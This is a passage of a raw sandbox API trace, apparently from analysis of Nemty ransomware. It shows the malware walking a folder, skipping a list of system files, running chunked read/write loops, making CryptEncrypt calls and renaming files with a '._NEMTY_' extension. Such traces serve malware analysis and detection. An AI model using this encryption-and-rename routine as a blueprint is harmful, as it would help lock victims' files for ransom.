dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.440] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.441] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.545] CloseHandle (hObject=0xffffffff) returned 0 [0153.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\17.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\17.png._nemty_kgobjgd_")) returned 0 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.546] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868a7631, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868a7631, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="18.png", cAlternateFileName="")) returned 1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2=".") returned 1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="..") returned 1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="...") returned 1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="windows") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="$RECYCLE.BIN") returned 1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="rsa") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="NTDETECT.COM") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="ntldr") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="MSDOS.SYS") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="IO.SYS") returned -1 [0153.546] lstrcmpiW (lpString1="18.png", lpString2="boot.ini") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="boot.ini") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="ntuser.dat") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="desktop.ini") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="CONFIG.SYS") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="RECYCLER") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="BOOTSECT.BAK") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="bootmgr") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="programdata") returned -1 [0153.547] lstrcmpiW (lpString1="18.png", lpString2="appdata") returned -1 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18.png", lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18.png", lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18.png", lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18.png", lpUsedDefaultChar=0x0) returned 6 [0153.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.547] Sleep (dwMilliseconds=0x5) [0153.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf2b42d0, dwHighDateTime=0x1d561e8)) [0153.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf2b42d0, dwHighDateTime=0x1d561e8)) [0153.548] GetLastError () returned 0x5 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.549] GetLastError () returned 0x5 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.549] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.549] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.549] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="P0ILAIsOQkZCZqGCVRjfxywMmxs7OCz7G0RWuh8LjyAp2mXWOTg6XixWCYGxj41T\r\nVX+tEZrN8OGUhiqrCspssr4bYUFEKvluD0poW2hNDTr5e0rQ81JgfZ/bY8963Kzr\r\nX0asZ0Em+POKcMWsrrbKw4JOWAX0twToVW6XLNd+S6B/2dvnEKIwZRC/eAuvcm6q\r\naeEU/YKKxuQb7CcpXheUa8i1BDuSuW1Qg2Hi4oePoL7ewvcrZwPSydbhou7SHrem\r\nlT8+R6Zw003v051SdmB/swsJdyUTfR27ds2Q6TTIzQndo11rybGTFE94jQBen5mP\r\njqkOdl8lPM2sC3BxvHexJw==\r\n", pcchString=0x653e91c) returned 1 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.549] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.549] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 